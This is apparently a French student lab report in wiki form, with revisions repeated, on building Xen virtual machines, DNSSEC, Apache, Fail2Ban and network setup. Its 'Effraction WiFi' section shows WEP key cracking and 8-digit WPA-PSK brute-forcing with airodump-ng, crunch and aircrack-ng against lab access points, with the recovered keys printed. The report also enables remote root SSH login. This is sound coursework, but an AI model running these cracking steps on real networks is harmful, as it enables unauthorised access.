Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T14:03:18Z

Tmerien : /* DNSSEC */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.

Dans notre cas, nous appliquerons la redirection suivante :
{| class="wikitable"
|+
!Nom de la VM
!Port de redirection associé
|-
|TomPere1
|2201
|-
|TomPere2
|2202
|}
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Création des chaînes :<syntaxhighlight>
nft add chain PREROUTING
</syntaxhighlight>Redirection des ports :<syntaxhighlight>
nft add rule NAT PREROUTING tcp dport 2201 dnat to 192.168.0.2:22
nft add rule NAT PREROUTING tcp dport 2202 dnat to 192.168.0.3:22
</syntaxhighlight>Grâce à cette configuration nous pouvons nous connecter sur les machines de services en SSH depuis l'extérieur, via les commandes suivantes :<syntaxhighlight>
ssh root@193.48.57.168 -p2201
ssh root@193.48.57.168 -p2202
</syntaxhighlight>

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code>

De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T14:01:43Z

Tmerien : /* SSH depuis l'extérieur */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
